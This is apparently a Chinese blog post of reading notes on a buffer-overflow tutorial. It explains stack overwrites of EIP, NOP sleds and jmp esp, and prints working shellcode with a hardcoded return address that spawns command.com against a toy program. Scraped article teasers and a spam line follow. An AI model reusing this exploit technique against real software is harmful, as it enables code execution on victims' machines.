• <noscript id="e0iig"><kbd id="e0iig"></kbd></noscript>
  • <td id="e0iig"></td>
  • <option id="e0iig"></option>
  • <noscript id="e0iig"><source id="e0iig"></source></noscript>
  • Q版緩沖區溢出教程-第一章讀書筆記

    標簽: Q版緩沖區溢出教程  讀書筆記

    Q版緩沖區溢出教程

    1.3 神秘的windows系統

    1.3.1 溢出舉例:

    /*簡單的程序:*/
    #include <stdio.h>
    #include <string.h>
    
    char name[]="ww0830";
    
    int main()
    {
        char output[8];
        strcpy(output,name);
    
        for (int i=0;i<8&&output[i];i++)
            printf("\\0x%x",output[i]);
        return 0;
    }

    我們編譯運行之后的結果
    程序運行之后的結果

    現在我們把程序進行更改,數組的值進行一個變化,改為’abcdefgh’然后再編譯運行

    這里寫圖片描述
    程序運行沒有問題。

    如果這個時候我們把程序再次加長的話,會發生什么,內容更改為’abcdefghijklmn’。

    這里寫圖片描述
    這個時候出了錯誤說內存越界。

    1.3.3對溢出報錯的原因分析

    第一次我們輸入的只是’abcdefgh’。進入main函數,所以系統把之前的EIP和EBP保存在堆棧中,便于以后恢復。

    這里寫圖片描述

    就是內存給了一塊只能存8個大小的空間,如果小于8就能正常運行,如果大于8就會導致EBP和EIP被覆蓋

    這里寫圖片描述

    1.4 shellcode

    shellcode就是一個想要的程序。

    #include <windows.h>
    int main()
    {
        LoadLibrary(TEXT("msvcrt.dll"));//在vs中不能直接使用"msvcrt.dll",需要進行轉換
        system("command.com");
        return 0;
    }

    執行后結果是:
    這里寫圖片描述

    進行匯編的調試:
    【F10】->右鍵【go to Disassemble】

    這里寫圖片描述

    1.5 本地緩沖區溢出簡單利用

    緩沖區溢出攻擊的基本原理

    1.覆蓋地址,執行程序
    2.shellcode
    3.覆蓋成shellcode

    1.5.1 shellcode的定位

    覆蓋方法:
    (1):NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR 型。“N”代表空指令,也就是 0x90,在實際
    運行中,程序將什么也不做,而是一直延著這些 NOPS 運行下去,直到遇到不是 NOPS 的指令再執行之;

    (2):RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS型。是用大量的“R”填滿整個緩沖區,然后大量的 Nop,最后是ShellCode。這里,“R”往后跳到 Nop 中,再順著往下執行就會到 ShellCode 中。但在 Windows 下,“R”中必定會含有 0,這樣,整個構造就會被截斷,只能用于 Unix 中。

    (3):Windows 的系統核心 dll 包括 kernel32.dll,user32.dll、gdi32.dll。這些 dll 一直位于內存中,而且對應于固定的版本,Windows 加載的位置是固定的。

    (1)跳轉使用jmp esp地址來覆蓋返回地址,把shellcode緊跟在后面。

    這里寫圖片描述

    (2)函數執行完畢,堆棧指針ESP就會指向保存原EIP的地方。

    這里寫圖片描述

    (3)在保存EIP的已經被我們覆蓋成jmp esp,執行之后就會讓esp下移一個位置。

    這里寫圖片描述

    首次緩沖區溢出攻擊的編寫

    #include <stdio.h>
    #include <string.h>
    
    char name[] = 
    "\x41\x41\x41\x41"  
    "\x41\x41\x41\x41"  
    "\x41\x41\x41\x41"  
    "\x12\x45\xfa\x7f"  
    
    "\x55\x8B\xEC\x33\xC0\x50\x50\x50"
    "\xC6\x45\xF4\x4D"
    "\xC6\x45\xF5\x53"  
    "\xC6\x45\xF6\x56"  
    "\xC6\x45\xF7\x43"
    "\xC6\x45\xF8\x52"
    "\xC6\x45\xF9\x54"
    "\xC6\x45\xFA\x2E"
    "\xC6\x45\xFB\x44"
    "\xC6\x45\xFC\x4C"
    "\xC6\x45\xFD\x4C"
    "\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
    "\x89\x45\xF4\xB8\x61\x6E\x64\x2E"  
    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
    "\x89\x45\xFC\x33\xD2\x88\x55\xFF"
    "\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
    
    
    int main()
    {
        char output[8];
    
        strcpy(output, name);
    
        for(int i=0;i<8&&output[i];i++) 
    
            printf("\\0x%x",output[i]);
    
        return 0;
    }
    


    首先這個是一個.cpp文件千萬不要使用.c文件進行編譯,否則沒有效果。

    效果圖:

    這里寫圖片描述

    版權聲明:本文為qq_36869808原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接和本聲明。
    本文鏈接:https://blog.csdn.net/qq_36869808/article/details/78658453

    智能推薦

    《Flask Web開發實戰》第一章——李輝,讀書筆記

    目錄 第一章 初識Flask 開發環境的搭建 使用Pipenv管理Python包 hello Flask 啟動開發服務器 修改默認的重載器 修改配置參數 實現類似flask run的命令的方式 結尾 第一章 初識Flask 本章主要介紹了一些關于Flask開發的基本配置問題 開發環境的搭建 使用Pipenv管理Python包 使用pip、Pipflie和Virtualenv替換pip、virtua...

    《Python機器學習實戰》第一章讀書筆記:k-近鄰算法

    第一章:k-近鄰算法 k-近鄰算法的優缺點和使用數據范圍: 優點:精度高,對異常值不敏感,無數據輸入假定 缺點:計算復雜度高、空間復雜度高 使用數據范圍:數值型和標稱型 下面介紹k-近鄰算法準備工作、代碼實現及實戰應用 1. 使用python導入數據 導入數據函數代碼: 這里導入了兩個模塊: (1)科學計算包Numpy模塊(2)運算符模塊,用于提供排序操作的函數 進入終端,輸入python進入Py...

    C深度剖析讀書筆記-第一章關鍵字

    C99一共有32個關鍵字 1.定義,聲明: 所謂的定義就是(編譯器)創建一個對象,為這個對象分配一塊內存并給它 取上一個名字,這個名字就是我們經常所說的變量名或對象名。 什么是聲明:有兩重含義,如下: 第一重含義:告訴編譯器,這個名字已經匹配到一塊內存上了 第二重含義:告訴編譯器,我這個名字我先預定了,別的地方再也不能用它來作為變量名或對象名 2.使用register 修飾符的注意點 雖然寄存器的...

    《TCP/IP詳解 卷1:協議》 讀書筆記 第一章 概述

    出處http://blog.csdn.net/jiange_zh 第一章 概述 1.分層 TCP/IP協議族分為4層:應用層,運輸層,網絡層,鏈路層。 應用層和運輸層使用End-to-end協議,提供端到端服務; 網絡層提供Hop-by-hop協議,提供點到點服務。 ××盡管TCP提供了可靠的服務,但是優秀的程序員在編寫程序的時候,應該把TCP的思想運用到應用程序中,考慮超...

    C++ Primer 第一章讀書筆記(隨記)

    目錄 1.2 初識輸入輸出 1.對于<<和>>運算符的認識 1.3注釋簡介 1.注釋種類 1.4控制流 while語句 怎么結束 while (cin>>str) 的輸入 1.2 初識輸入輸出 1.對于<<和>>運算符的認識 <<運算符接受兩個運算對象,左邊的運算對象必須是一個ostream對象,右側的運算對象是要打印的值。此...

    猜你喜歡

    hive 導出數據之一列多行,轉為一行多列

    需求:提取數據 說明:原數據是一列多行,需要轉化為一行多列 待查詢表為:temp_05 待查詢數據為: 待查詢數據如圖: 需要提取的數據表頭如下: 預定日期 昨日價格 前天價格 2018-02-01 2018-02-02 2018-02-03 2018-02-04 可用提數 SQL 數據如圖: 以下為嘗試過程 數據如圖: 數據如圖: 數據如圖: 數據如圖:...

    asp.net做一個簡易的聊天室

    要求: 結果: 關鍵代碼: Default.aspx Default.aspx.cs Default2.aspx Default2.aspx.cs Default3.aspx Default3.aspx.cs Default4.aspx...

    動態SQL和多表關聯-筆記

    《動態SQL與多表關聯》筆記 學習目標 能夠使用動態SQL完成SQL拼接 能夠使用resultMap完成多表查詢 能夠使用一對一查詢 能夠使用一對多查詢 (注:多對多其實就是兩個一個多) 映射文件:為什么要resultMap 目標 定義結果映射 使用結果映射 回顧 在mybatis中有2種配置文件: 核心配置文件,如:sqlMapConfig.xml 實體類映射文件,如:UserMapper.xm...

    【OpenGL C++ UE4】獲取模型頂點及面索引數據,并優化存儲結構供UE4繪制

    目錄 一、功能需求 二、成果 三、環境配置 四、詳細步驟 4.1 Max制作三棱錐并處理 4.2 核心代碼 4.2.1 傳入結構體數據 4.2.2 頂點去重、更新索引 4.2.3 輸出本地CSV文件 4.3 UE4繪制 一、功能需求 想必你肯定會問我一個問題,UE4直接導入模型不好么? 哈哈,前提是在做畢設時,導師提供的只有頂點與面索引數據,沒有模型。 下文詳細介紹了畢設開發中的難點,涉...

    解決Pyinstaller打包numpy和pandas庫文件過大問題

    解決Pyinstaller壓縮numpy和pandas庫文件過大問題 文件包類型和網上的方法 Windows下docker的安裝 在docker下實現打包     今天是2021年的第一天,先祝各位小伙伴現年快樂哈。最近因為做了一個項目,需要打包文件,文件中包含了numpy和pandas庫,結果打包出來幾百行的代碼居然要900m,人都傻了,翻遍了全網找解決方...

    精品国产乱码久久久久久蜜桃不卡